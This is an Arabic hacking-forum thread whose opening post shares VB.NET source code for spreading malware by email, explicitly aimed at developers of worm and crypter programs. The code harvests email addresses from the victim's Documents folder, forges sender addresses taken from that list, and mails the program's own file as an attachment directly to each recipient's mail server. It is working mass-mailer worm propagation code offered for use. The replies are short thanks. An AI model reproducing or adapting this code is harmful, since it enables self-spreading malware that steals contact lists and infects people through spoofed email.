حالة الموضوع:
مغلق
  1. !»°بہًكہًر الہًعہًراقہًي°«!

    !»°بہًكہًر الہًعہًراقہًي°«! нєℓℓ вσуѕ тєαм V • I • P

    الأنتساب:
    ‏7 فبراير 2015
    المشاركات:
    633
    الإعجابات المتلقاة:
    1,410
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط
    [​IMG]
    [​IMG]
    اللهمّ لك الحمد أنت قيّوم السموات والأرض ومن فيهن، ولك الحمد أنت ملك السموات والأرض ومن فيهن، ولك الحمد أنت نور السموات والأرض ومنفيهن، ولك الحمد أنت الحقّ، ووعدك حقُّ، ولقاؤك حق، والجنّة حق، والنار حق، والنبيّين حق، ومحمّد حقّ، والسّاعة حق، اللهمّ لك أسلمت وبك آمنت،وعليك توكّلت، وإليك أنبت، وبك خاصمت، وإليك حاكمت، فاغفر لي ما قدّمت وما أخّرت، وما أسررت وما أعلنت، أنت الله لا إله إلّا أنت، ولا حول ولا قوّة إلّا بك
    [​IMG]
    [​IMG]
    [​IMG]
    موضوع اليوم هوه كود vb.net لعمل انتشار في الهوتميل وهذا الكود لمطوري برامج الدوده او برامج التشفير

    اتركم مع الاكواد
    كود:
    Imports System
    Imports System.Collections.Generic
    Imports System.Text
    Imports System.IO
    Imports System.Diagnostics
    Imports System.Windows.Forms
    Imports Microsoft.Win32
    Imports System.Collections
    Imports System.Threading
    Imports System.Text.RegularExpressions
    Imports System.Net.Mail
    Imports System.Runtime.InteropServices
    Module Outloook
    
        Private [me] As String = Convert.ToString(Process.GetCurrentProcess().MainModule.FileName)
        Private myDocs As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
        Private arrEmails As New ArrayList()
        Private arInfect As New ArrayList()
        Private Declare Unicode Function Dns Lib "dnsapi" Alias "DnsQuery_W" (<MarshalAs(UnmanagedType.VBByRefStr)> ByRef strName As String, ByVal intType As Integer, ByVal intOpt As Integer, ByVal intServer As Integer, ByRef pResult As IntPtr, ByVal intReserved As Integer) As Integer
        Public Sub Send()
    
            arrEmails = SearchEmails(myDocs, "*.*")
            Dim arrFrom As ArrayList = arrEmails
            arrFrom.Reverse()
    
            Dim file As String = GetFile()
    
            If file <> "" Then
                If arrEmails.Count > 0 Then
                    Dim data As New Attachment(file)
                    Dim myEnum As IEnumerator = arrEmails.GetEnumerator()
    
                    Dim toAddy As String = ""
                    Dim fromAddy As String = ""
    
    
                    Dim arSent As New ArrayList()
    
                    While myEnum.MoveNext()
    
                        toAddy = Convert.ToString(myEnum.Current)
                        Dim fromEnum As IEnumerator = arrFrom.GetEnumerator()
    
                        While fromEnum.MoveNext()
    
                            fromAddy = Convert.ToString(fromEnum.Current)
    
    
                            If toAddy <> fromAddy Then
    
                                If Not arSent.Contains(toAddy) Then
    
                                    arSent.Add(toAddy)
    
                                    Dim [to] As New MailAddress(toAddy)
                                    Dim from As New MailAddress(fromAddy)
    
                                    Dim message As New MailMessage(from, [to])
                                    message.Subject = "Hey !"
    
    
                                    message.Body = "Remplacer ici par le texte qui sera envoyer dans le mail"
                                    message.Attachments.Add(data)
    
                                    Dim host As String = toAddy.Substring(toAddy.IndexOf("@")).Replace("@", [String].Empty)
                                    Dim mailMxHost As String = GetMXRecords(host)
    
                                    Try
    
                                        Dim client As New SmtpClient(mailMxHost)
    
                                        client.Send(message)
                                    Catch er As Exception
                                    End Try
                                End If
                            End If
                        End While
                    End While
    
                    data.Dispose()
                End If
            End If
        End Sub
        Private Function SearchEmails(ByVal dir As String, ByVal fileType As String) As ArrayList
            Dim arEmails As New ArrayList()
            Dim dr As New DirectoryInfo(dir)
            Dim filesInDir As FileInfo() = dr.GetFiles(fileType)
            For Each file__1 As FileInfo In filesInDir
                Console.WriteLine(file__1.FullName)
                Dim sr As StreamReader = File.OpenText(file__1.FullName)
                Dim input As [String]
                While (InlineAssignHelper(input, sr.ReadLine())) IsNot Nothing
                    Dim email As String = ExtractAddr(input)
                    If email <> "" Then
                        If Not arEmails.Contains(email) Then
    
                            Dim strValGex As String = "^([a-zA-Z0-9_\-\.]+)@((\[[0-9]{1,3}" & "\.[0-9]{1,3}\.[0-9]{1,3}\.)|(([a-zA-Z0-9\-]+\" & ".)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\]?)$"
    
                            Dim regVal As New Regex(strValGex)
    
                            If regVal.IsMatch(email) Then
                                If Not arEmails.Contains(email) Then
                                    arEmails.Add(email)
                                End If
                            End If
                        End If
                    End If
                End While
            Next
    
            Return arEmails
        End Function
        Public Function ExtractAddr(ByVal InputData As String) As String
    
            Dim tmpExtractAddr As String = Nothing
            Dim AtPos As Integer, p1 As Integer, p2 As Integer, n As Integer = 0
            Dim tmp As String = Nothing
            AtPos = (InputData.IndexOf("@", 0) + 1)
            p1 = 1
            p2 = InputData.Length
            tmpExtractAddr = ""
            If AtPos = 0 Then
                Return tmpExtractAddr
            End If
    
            For n = (AtPos - 1) To 1 Step -1
                tmp = InputData.Substring(n - 1, 1)
                If (tmp = " ") Or (tmp = "<") Or (tmp = "(") Or (tmp = ":") Or (tmp = ",") Or (tmp = "[") Then
                    p1 = n + 1
                    Exit For
                End If
            Next
    
            For n = (AtPos + 1) To InputData.Length
                tmp = InputData.Substring(n - 1, 1)
                If (tmp = " ") Or (tmp = ">") Or (tmp = ")") Or (tmp = ":") Or (tmp = ",") Or (tmp = "]") Then
                    p2 = n - 1
                    Exit For
                End If
            Next
    
    
            Dim email As String = InputData.Substring(p1 - 1, (p2 - p1) + 1)
            email = Regex.Replace(email, "<(.|\n)*?>", String.Empty)
            email = email.Replace("*", "")
            email = email.Replace(" ", "")
            email = email.Replace("""", "")
    
            Return email
        End Function
        Private Function GetFile() As String
            Dim dest As String = ""
            If arInfect.Count > 0 Then
                Dim enumInfect As IEnumerator = arInfect.GetEnumerator()
                While enumInfect.MoveNext()
                    dest = Convert.ToString(enumInfect.Current)
                End While
            End If
            Return dest
        End Function
        Public Function GetMXRecords(ByVal host As String) As String
            Dim p1 As IntPtr = IntPtr.Zero
            Dim p2 As IntPtr = IntPtr.Zero
            Dim mx As STRMX
    
            Dim num1 As Integer = Dns(host, 15, 8, 0, p1, 0)
            Dim server As String = ""
    
            If num1 <> 0 Then
                server = host
            Else
                p2 = p1
                While Not p2.Equals(IntPtr.Zero)
                    mx = DirectCast(Marshal.PtrToStructure(p2, GetType(STRMX)), STRMX)
                    If mx.sType = 15 Then
                        Dim text1 As String = Marshal.PtrToStringAuto(mx.pNameEx)
                        If text1 <> "" Then
                            server = text1
                        End If
                    End If
                    p2 = mx.pNext
                End While
            End If
            Return server
        End Function
        Private Structure STRMX
            Public pNext As IntPtr
            Public strName As String
            Public sType As Short
            Public intFlag As Integer
            Public intTTL As Integer
            Public intRes As Integer
            Public pNameEx As IntPtr
        End Structure
        Private Function InlineAssignHelper(Of T)(ByRef target As T, ByVal value As T) As T
            target = value
            Return value
        End Function
    End Module
    
    كما قلت هذا الكود للمطورين عن قريب انشاء الله سوف اطرح اكواد جميله بلغه الدوت نت لمطوري البرامج


    الى هنا انتهى درس اليوم نلتقي بموضوع اخر
    [​IMG]
    [​IMG]
    امير ايكل


    المعاقب الصدري


    مخلد هكسور


    محمد العراقي


    سجاد العراقي هكر الجنوب


    عقرب النجف
     
  2. جوني العراقي

    جوني العراقي V • I • P

    الأنتساب:
    ‏10 يناير 2014
    المشاركات:
    277
    الإعجابات المتلقاة:
    50
    نقاط الجائزة:
    28
    الوظيفة:
    حلاق
    الإقامة:
    NEDRLALND
    رد: كود vb.net لعمل انتشار بالهوتميل

    وعليكم سلام وحمة الله
    من اين لك كل هل ابداع يا صديقي
    يوشم بل خماسي
     
  3. حازم مشكله

    حازم مشكله V • I • P

    الأنتساب:
    ‏26 مارس 2015
    المشاركات:
    380
    الإعجابات المتلقاة:
    15
    نقاط الجائزة:
    18
    الجنس:
    ذكر
    رد: كود vb.net لعمل انتشار بالهوتميل

    عاشت ايدك يا حلؤ
     
  4. !»°بہًكہًر الہًعہًراقہًي°«!

    !»°بہًكہًر الہًعہًراقہًي°«! нєℓℓ вσуѕ тєαм V • I • P

    الأنتساب:
    ‏7 فبراير 2015
    المشاركات:
    633
    الإعجابات المتلقاة:
    1,410
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط
    رد: كود vb.net لعمل انتشار بالهوتميل

    نورت صديقي
     
  5. нάсќɇя

    нάсќɇя Developer

    الأنتساب:
    ‏17 ديسمبر 2011
    المشاركات:
    57
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    الإقامة:
    فيـ قلبكـ
    رد: كود vb.net لعمل انتشار بالهوتميل

    شكرا لك ياغالي بارك الله فيك
     
  6. سكيورتي ارهابي

    سكيورتي ارهابي ExpErt DeveloPer

    الأنتساب:
    ‏1 سبتمبر 2014
    المشاركات:
    691
    الإعجابات المتلقاة:
    41
    نقاط الجائزة:
    28
    الوظيفة:
    ماكسي مول
    الإقامة:
    دوله العراق العظيم
    رد: كود vb.net لعمل انتشار بالهوتميل

    وعليكم السلام

    بارك الله بيك اخي مبدع كلعاده

    واصل في موايعك الراقيه

    لاتحرمنا
    :ُ{1e}:ُ:ُ{1e}:ُ
     
  7. Janet CHaldean

    Janet CHaldean مشرفه أقسام التصميم والجرافيكس V • I • P

    الأنتساب:
    ‏5 يناير 2015
    المشاركات:
    532
    الإعجابات المتلقاة:
    1,238
    نقاط الجائزة:
    93
    الجنس:
    أنثى
    الوظيفة:
    Diplomacy
    الإقامة:
    Kingdom of Norway
    رد: كود vb.net لعمل انتشار بالهوتميل

    عاشت الاياديبس الكود يا ريت لو تنزلة بملف txt
    وترفعة للاعضاء
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة